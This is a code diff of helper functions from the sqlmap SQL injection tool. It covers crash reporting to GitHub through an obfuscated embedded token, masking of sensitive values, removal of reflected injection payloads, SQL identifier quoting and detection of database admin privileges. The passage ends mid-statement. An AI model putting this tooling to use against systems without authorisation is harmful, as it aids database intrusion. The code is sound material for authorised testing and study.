+ + if not kb.userAgents: + debugMsg = "loading random HTTP User-Agent header(s) from " + debugMsg += "file '%s'" % paths.USER_AGENTS + logger.debug(debugMsg) + + try: + kb.userAgents = getFileItems(paths.USER_AGENTS) + except IOError: + errMsg = "unable to read HTTP User-Agent header " + errMsg += "file '%s'" % paths.USER_AGENTS + raise SqlmapSystemException(errMsg) + + return random.sample(kb.userAgents, 1)[0] + +def createGithubIssue(errMsg, excMsg): + """ + Automatically create a Github issue with unhandled exception information + """ - return maskSensitiveData(errMsg) + try: + issues = getFileItems(paths.GITHUB_HISTORY, unique=True) + except: + issues = [] + finally: + issues = set(issues) + + _ = re.sub(r"'[^']+'", "''", excMsg) + _ = re.sub(r"\s+line \d+", "", _) + _ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _) + _ = re.sub(r".+\Z", "", _) + _ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _) + _ = re.sub(r"= _", "= ", _) + + key = hashlib.md5(getBytes(_)).hexdigest()[:8] + + if key in issues: + return + + msg = "\ndo you want to automatically create a new (anonymized) issue " + msg += "with the unhandled exception information at " + msg += "the official Github repository? [y/N] " + try: + choice = readInput(msg, default='N', checkBatch=False, boolean=True) + except: + choice = None + + if choice: + _excMsg = None + errMsg = errMsg[errMsg.find("\n"):] + + req = _urllib.request.Request(url="https://api.github.com/search/issues?q=%s" % _urllib.parse.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key), headers={HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + + try: + content = _urllib.request.urlopen(req).read() + _ = json.loads(content) + duplicate = _["total_count"] > 0 + closed = duplicate and _["items"][0]["state"] == "closed" + if duplicate: + warnMsg = "issue seems to be already reported" + if closed: + warnMsg += " and resolved. Please update to the latest " + warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE + logger.warning(warnMsg) + return + except: + pass + + data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} + token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1]) + req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()}) + + try: + content = getText(_urllib.request.urlopen(req).read()) + except Exception as ex: + content = None + _excMsg = getSafeExString(ex) + + issueUrl = re.search(r"https://github.com/sqlmapproject/sqlmap/issues/\d+", content or "") + if issueUrl: + infoMsg = "created Github issue can been found at the address '%s'" % issueUrl.group(0) + logger.info(infoMsg) + + try: + with openFile(paths.GITHUB_HISTORY, "a+") as f: + f.write("%s\n" % key) + except: + pass + else: + warnMsg = "something went wrong while creating a Github issue" + if _excMsg: + warnMsg += " ('%s')" % _excMsg + if "Unauthorized" in warnMsg: + warnMsg += ". Please update to the latest revision" + logger.warning(warnMsg) def maskSensitiveData(msg): """ Masks sensitive data in the supplied message + + >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner' + True + >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line' + True """ - retVal = msg + retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), ("hostname", "googleDork", "aCred", "pCred", "tbl", "db", "col", "user", "cookie", "proxy"))): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", item) + for item in filterNone(conf.get(_) for _ in SENSITIVE_OPTIONS): + if isListLike(item): + item = listToStrValue(item) + + regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) + # Just in case (for problematic parameters regarding user encoding) + for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal): + retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) + + # Fail-safe substitutions + retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + retVal = re.sub(r"(?i)(\b\w:[\\/]+Users[\\/]+|[\\/]+home[\\/]+)([^\\/]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) + + if getpass.getuser(): + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) + return retVal def listToStrValue(value): @@ -2522,7 +4078,7 @@ def listToStrValue(value): '1, 2, 3' """ - if isinstance(value, (set, tuple)): + if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): @@ -2532,48 +4088,55 @@ def listToStrValue(value): return retVal -def getExceptionFrameLocals(): +def intersect(containerA, containerB, lowerCase=False): """ - Returns dictionary with local variable content from frame - where exception has been raised + Returns intersection of the container-ized values + + >>> intersect([1, 2, 3], set([1,3])) + [1, 3] """ - retVal = {} + retVal = [] + + if containerA and containerB: + containerA = arrayizeValue(containerA) + containerB = arrayizeValue(containerB) + + if lowerCase: + containerA = [val.lower() if hasattr(val, "lower") else val for val in containerA] + containerB = [val.lower() if hasattr(val, "lower") else val for val in containerB] - if sys.exc_info(): - trace = sys.exc_info()[2] - while trace.tb_next: - trace = trace.tb_next - retVal = trace.tb_frame.f_locals + retVal = [val for val in containerA if val in containerB] return retVal -def intersect(valueA, valueB, lowerCase=False): +def decodeStringEscape(value): """ - Returns intersection of the array-ized values + Decodes escaped string values (e.g. "\\t" -> "\t") """ - retVal = None - - if valueA and valueB: - valueA = arrayizeValue(valueA) - valueB = arrayizeValue(valueB) - - if lowerCase: - valueA = [val.lower() if isinstance(val, basestring) else val for val in valueA] - valueB = [val.lower() if isinstance(val, basestring) else val for val in valueB] + retVal = value - retVal = [val for val in valueA if val in valueB] + if value and '\\' in value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(repr(_).strip("'"), _) return retVal -def cpuThrottle(value): +def encodeStringEscape(value): """ - Does a CPU throttling for lesser CPU consumption + Encodes escaped string values (e.g. "\t" -> "\\t") """ - delay = 0.00001 * (value ** 2) - time.sleep(delay) + retVal = value + + if value: + charset = "\\%s" % string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(_, repr(_).strip("'")) + + return retVal def removeReflectiveValues(content, payload, suppressWarning=False): """ @@ -2583,139 +4146,224 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism: - def _(value): - while 2 * REFLECTED_REPLACEMENT_REGEX in value: - value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) - return value + try: + if all((content, payload)) and isinstance(content, six.text_type) and kb.reflectiveMechanism and not kb.heuristicMode: + def _(value): + while 2 * REFLECTED_REPLACEMENT_REGEX in value: + value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) + return value - payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''))) - regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) + payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) + regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX))) - if regex != payload: - if all(part.lower() in content.lower() for part in filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check - parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach + # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)") + preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content) + if preserve: + content = content.replace(preserve, REPLACEMENT_MARKER) - if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs - regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS / 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS / 2:]))) + if regex != payload: + if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check + parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - parts = filter(None, regex.split(REFLECTED_REPLACEMENT_REGEX)) + # Note: naive approach + retVal = content.replace(payload, REFLECTED_VALUE_MARKER) + retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) - if regex.startswith(REFLECTED_REPLACEMENT_REGEX): - regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) - else: - regex = r"\b%s" % regex + if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs + regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) - if regex.endswith(REFLECTED_REPLACEMENT_REGEX): - regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) - else: - regex = r"%s\b" % regex + parts = filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX)) - retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal) + if regex.startswith(REFLECTED_REPLACEMENT_REGEX): + regex = r"%s%s" % (REFLECTED_BORDER_REGEX, regex[len(REFLECTED_REPLACEMENT_REGEX):]) + else: + regex = r"\b%s" % regex - if len(parts) > 2: - regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) - retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) + if regex.endswith(REFLECTED_REPLACEMENT_REGEX): + regex = r"%s%s" % (regex[:-len(REFLECTED_REPLACEMENT_REGEX)], REFLECTED_BORDER_REGEX) + else: + regex = r"%s\b" % regex + + _retVal = [retVal] + + def _thread(regex): + try: + _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + + if len(parts) > 2: + regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) + _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + except KeyboardInterrupt: + raise + except: + pass + + thread = threading.Thread(target=_thread, args=(regex,)) + thread.daemon = True + thread.start() + thread.join(REFLECTED_REPLACEMENT_TIMEOUT) + + if thread.is_alive(): + kb.reflectiveMechanism = False + retVal = content + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism (because of timeouts)" + logger.debug(debugMsg) + else: + retVal = _retVal[0] - if retVal != content: - kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 - if not suppressWarning: - warnMsg = "reflective value(s) found and filtering out" - singleTimeWarnMessage(warnMsg) + if retVal != content: + kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 + if not suppressWarning: + warnMsg = "reflective value(s) found and filtering out" + singleTimeWarnMessage(warnMsg) - if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I): - warnMsg = "frames detected containing attacked parameter values. Please be sure to " - warnMsg += "test those separately in case that attack on this page fails" - singleTimeWarnMessage(warnMsg) + if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): + warnMsg = "frames detected containing attacked parameter values. Please be sure to " + warnMsg += "test those separately in case that attack on this page fails" + singleTimeWarnMessage(warnMsg) - elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: - kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 - if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: - kb.reflectiveMechanism = False - if not suppressWarning: - debugMsg = "turning off reflection removal mechanism (for optimization purposes)" - logger.debug(debugMsg) + elif not kb.testMode and not kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT]: + kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] += 1 + if kb.reflectiveCounters[REFLECTIVE_COUNTER.MISS] > REFLECTIVE_MISS_THRESHOLD: + kb.reflectiveMechanism = False + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism (for optimization purposes)" + logger.debug(debugMsg) + + if preserve and retVal: + retVal = retVal.replace(REPLACEMENT_MARKER, preserve) + + except (MemoryError, SystemError): + kb.reflectiveMechanism = False + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism" + logger.debug(debugMsg) return retVal -def normalizeUnicode(value): +def normalizeUnicode(value, charset=string.printable[:string.printable.find(' ') + 1]): """ Does an ASCII normalization of unicode strings - Reference: http://www.peterbe.com/plog/unicode-to-ascii + + # Reference: http://www.peterbe.com/plog/unicode-to-ascii + + >>> normalizeUnicode(u'\\u0161u\\u0107uraj') == u'sucuraj' + True + >>> normalizeUnicode(getUnicode(decodeHex("666f6f00626172"))) == u'foobar' + True """ retVal = value - if isinstance(value, unicode): - retVal = unicodedata.normalize('NFKD', value).encode('ascii', 'ignore') + + if isinstance(value, six.text_type): + retVal = unicodedata.normalize("NFKD", value) + retVal = "".join(_ for _ in retVal if _ in charset) + return retVal def safeSQLIdentificatorNaming(name, isTable=False): """ Returns a safe representation of SQL identificator name (internal data format) - """ - retVal = name + # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal - if isinstance(name, basestring): - name = getUnicode(name) + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(safeSQLIdentificatorNaming("begin")) + '[begin]' + >>> getText(safeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forceDbms = popValue() + """ - if isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and '.' not in name: - name = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, name) + retVal = name - parts = name.split('.') + if conf.unsafeNaming: + return retVal - for i in xrange(len(parts)): - if not re.match(r"\A[A-Za-z0-9_@\$]+\Z", parts[i]): # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-name - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): - parts[i] = "`%s`" % parts[i].strip("`") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.DB2): - parts[i] = "\"%s\"" % parts[i].strip("\"") - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): - parts[i] = "[%s]" % parts[i].strip("[]") + if isinstance(name, six.string_types): + retVal = getUnicode(name) + _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) + + if _: + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal) + + # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf) + if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + if not conf.noEscape: + retVal = unsafeSQLIdentificatorNaming(retVal) + + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) + retVal = "`%s`" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): + retVal = "\"%s\"" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + retVal = "\"%s\"" % retVal.upper() + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if isTable: + parts = retVal.split('.', 1) + for i in xrange(len(parts)): + if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords): + parts[i] = "[%s]" % parts[i] + retVal = '.'.join(parts) + else: + if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords: + retVal = "[%s]" % retVal - retVal = ".".join(parts) + if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): + if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192 + retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) return retVal def unsafeSQLIdentificatorNaming(name): """ Extracts identificator's name from its safe SQL representation + + >>> pushValue(kb.forcedDbms) + >>> kb.forcedDbms = DBMS.MSSQL + >>> getText(unsafeSQLIdentificatorNaming("[begin]")) + 'begin' + >>> getText(unsafeSQLIdentificatorNaming("foobar")) + 'foobar' + >>> kb.forceDbms = popValue() """ retVal = name - if isinstance(name, basestring): - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): + if isinstance(name, six.string_types): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): retVal = name.replace("\"", "") - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL): + retVal = name.replace("\"", "").upper() + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - prefix = "%s." % DEFAULT_MSSQL_SCHEMA - if retVal.startswith(prefix): - retVal = retVal[len(prefix):] - - return retVal - -def isBinaryData(value): - """ - Tests given value for binary content - """ + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) - retVal = False - if isinstance(value, basestring): - retVal = reduce(lambda x, y: x or not (y in string.printable or ord(y) > 255), value, False) return retVal def isNoneValue(value): """ Returns whether the value is unusable (None or '') + + >>> isNoneValue(None) + True + >>> isNoneValue('None') + True + >>> isNoneValue('') + True + >>> isNoneValue([]) + True + >>> isNoneValue([2]) + False """ - if isinstance(value, basestring): + if isinstance(value, six.string_types): return value in ("None", "") elif isListLike(value): return all(isNoneValue(_) for _ in value) @@ -2727,16 +4375,21 @@ def isNoneValue(value): def isNullValue(value): """ Returns whether the value contains explicit 'NULL' value + + >>> isNullValue(u'NULL') + True + >>> isNullValue(u'foobar') + False """ - return isinstance(value, basestring) and value.upper() == NULL + return hasattr(value, "upper") and value.upper() == NULL def expandMnemonics(mnemonics, parser, args): """ Expands mnemonic options """ - class MnemonicNode: + class MnemonicNode(object): def __init__(self): self.next = {} self.current = [] @@ -2758,9 +4411,9 @@ def __init__(self): pointer = pointer.next[char] pointer.current.append(option) - for mnemonic in mnemonics.split(','): + for mnemonic in (mnemonics or "").split(','): found = None - name = mnemonic.split('=')[0].replace("-", "").strip() + name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head @@ -2773,7 +4426,7 @@ def __init__(self): if pointer in (None, head): errMsg = "mnemonic '%s' can't be resolved to any parameter name" % name - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) elif len(pointer.current) > 1: options = {} @@ -2784,17 +4437,21 @@ def __init__(self): if opt.startswith(name): options[opt] = option - if name in options: + if not options: + warnMsg = "mnemonic '%s' can't be resolved" % name + logger.warning(warnMsg) + elif name in options: found = name debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) logger.debug(debugMsg) else: - found = sorted(options.keys(), key=lambda x: len(x))[0] - warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys())) + found = sorted(options.keys(), key=len)[0] + warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options)) warnMsg += "Resolved to shortest of those ('%s')" % found - logger.warn(warnMsg) + logger.warning(warnMsg) - found = options[found] + if found: + found = options[found] else: found = pointer.current[0] debugMsg = "mnemonic '%s' resolved to %s). " % (name, found) @@ -2812,19 +4469,25 @@ def __init__(self): setattr(args, found.dest, True) else: errMsg = "mnemonic '%s' requires value of type '%s'" % (name, found.type) - raise sqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) def safeCSValue(value): """ Returns value safe for CSV dumping - Reference: http://tools.ietf.org/html/rfc4180 + + # Reference: http://tools.ietf.org/html/rfc4180 + + >>> safeCSValue('foo, bar') + '"foo, bar"' + >>> safeCSValue('foobar') + 'foobar' """ retVal = value - if retVal and isinstance(retVal, basestring): + if retVal and isinstance(retVal, six.string_types): if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.csvDel, '"', '\n')): + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -2832,36 +4495,72 @@ def safeCSValue(value): def filterPairValues(values): """ Returns only list-like values with length 2 + + >>> filterPairValues([[1, 2], [3], 1, [4, 5]]) + [[1, 2], [4, 5]] """ retVal = [] if not isNoneValue(values) and hasattr(values, '__iter__'): - retVal = filter(lambda x: isinstance(x, (tuple, list, set)) and len(x) == 2, values) + retVal = [value for value in values if isinstance(value, (tuple, list, set)) and len(value) == 2] return retVal def randomizeParameterValue(value): """ - Randomize a parameter value based on occurances of alphanumeric characters + Randomize a parameter value based on occurrences of alphanumeric characters + + >>> random.seed(0) + >>> randomizeParameterValue('foobar') + 'fupgpy' + >>> randomizeParameterValue('17') + '36' """ retVal = value - for match in re.finditer('[A-Z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper()) + retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal) + + def _replace_upper(match): + original = match.group() + while True: + candidate = randomStr(len(original)).upper() + if candidate != original: + return candidate + + def _replace_lower(match): + original = match.group() + while True: + candidate = randomStr(len(original)).lower() + if candidate != original: + return candidate + + def _replace_digit(match): + original = match.group() + while True: + candidate = str(randomInt(len(original))) + if candidate != original: + return candidate + + retVal = re.sub(r"[A-Z]+", _replace_upper, retVal) + retVal = re.sub(r"[a-z]+", _replace_lower, retVal) + retVal = re.sub(r"[0-9]+", _replace_digit, retVal) - for match in re.finditer('[a-z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower()) + if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): + parts = retVal.split('.') + parts[-1] = random.sample(RANDOMIZATION_TLDS, 1)[0] + retVal = '.'.join(parts) - for match in re.finditer('[0-9]+', value): - retVal = retVal.replace(match.group(), str(randomInt(len(match.group())))) + if not retVal: + retVal = randomStr(lowercase=True) return retVal +@cachedmethod def asciifyUrl(url, forceQuote=False): """ - Attempts to make a unicode url usuable with ``urllib/urllib2``. + Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, @@ -2872,19 +4571,30 @@ def asciifyUrl(url, forceQuote=False): See also RFC 3987. - Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ + # Reference: http://blog.elsdoerfer.name/2008/12/12/opening-iris-in-python/ + + >>> asciifyUrl(u'http://www.\\u0161u\\u0107uraj.com') + 'http://www.xn--uuraj-gxa24d.com' """ - parts = urlparse.urlsplit(url) - if not parts.scheme or not parts.netloc: + parts = _urllib.parse.urlsplit(url) + if not all((parts.scheme, parts.netloc, parts.hostname)): # apparently not an url - return url + return getText(url) if all(char in string.printable for char in url): - return url + return getText(url) + + hostname = parts.hostname + + if isinstance(hostname, six.binary_type): + hostname = getUnicode(hostname) # idna-encode domain - hostname = parts.hostname.encode("idna") + try: + hostname = hostname.encode("idna") + except: + hostname = hostname.encode("punycode") # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user @@ -2893,10 +4603,10 @@ def asciifyUrl(url, forceQuote=False): def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: - # urllib.quote(s.replace('%', '')) != s.replace('%', '') + # _urllib.parse.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". - if s.encode("ascii", "replace") != s or forceQuote: - return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) + if getUnicode(s).encode("ascii", "replace") != s or forceQuote: + s = _urllib.parse.quote(getBytes(s), safe=safe) return s username = quote(parts.username, '') @@ -2905,33 +4615,72 @@ def quote(s, safe): query = quote(parts.query, safe="&=") # put everything back together - netloc = hostname + netloc = getText(hostname) if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc - if parts.port: - netloc += ':' + str(parts.port) - return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) + try: + port = parts.port + except: + port = None + + if port: + netloc += ':' + str(port) + + return getText(_urllib.parse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url) + +def isAdminFromPrivileges(privileges): + """ + Inspects privileges to see if those are coming from an admin user + """ + + privileges = privileges or [] + + # In PostgreSQL the usesuper privilege means that the + # user is DBA + retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) + + # In Oracle the DBA privilege means that the + # user is DBA + retVal |= (Backend.isDbms(DBMS.ORACLE) and "DBA" in privileges) + + # In MySQL >= 5.0 the SUPER privilege means + # that the user is DBA + retVal |= (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema and "SUPER" in privileges) + + # In MySQL < 5.0 the super_priv privilege means + # that the user is DBA + retVal |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema and "super_priv" in privileges) + + # In Firebird there is no specific privilege that means + # that the user is DBA + retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) + + return retVal -def findPageForms(content, url, raise_=False, addToTargets=False): +def findPageForms(content, url, raiseException=False, addToTargets=False): """ - Parses given page content for possible forms + Parses given page content for possible forms (Note: still not implemented for Python3) + + >>> findPageForms('
', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)]) + True """ - class _(StringIO): + class _(six.StringIO, object): def __init__(self, content, url): - StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) + super(_, self).__init__(content) self._url = url + def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" - if raise_: - raise sqlmapGenericException, errMsg + if raiseException: + raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -2942,23 +4691,27 @@ def geturl(self): try: forms = ParseResponse(response, backwards_compat=False) except ParseError: - warnMsg = "badly formed HTML at the given url ('%s'). Will try to filter it" % url - logger.warning(warnMsg) - response.seek(0) - filtered = _("".join(re.findall(r"", response.read(), re.I | re.S)), response.geturl()) - try: - forms = ParseResponse(filtered, backwards_compat=False) - except ParseError: - errMsg = "no success" - if raise_: - raise sqlmapGenericException, errMsg - else: - logger.debug(errMsg) + if re.search(r"(?i)>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php') + True + >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php') + False + """ + + if not urls: + return None + elif len(urls) == 1: + return True + else: + def _(value): + if value and not re.search(r"\A\w+://", value): + value = "http://%s" % value + return value + + first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or "" + first = re.sub(r"(?i)\Awww\.", "", first) + + for url in urls[1:]: + current = _urllib.parse.urlparse(_(url) or "").hostname or "" + current = re.sub(r"(?i)\Awww\.", "", current) + + if current != first: + return False + + return True + def getHostHeader(url): """ Returns proper Host header value for a given target URL + + >>> getHostHeader('http://www.target.com/vuln.php?id=1') + 'www.target.com' """ - retVal = urlparse.urlparse(url).netloc + retVal = url - if re.search("http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult("http(s)?://\[(?P.+)\]", url) - elif 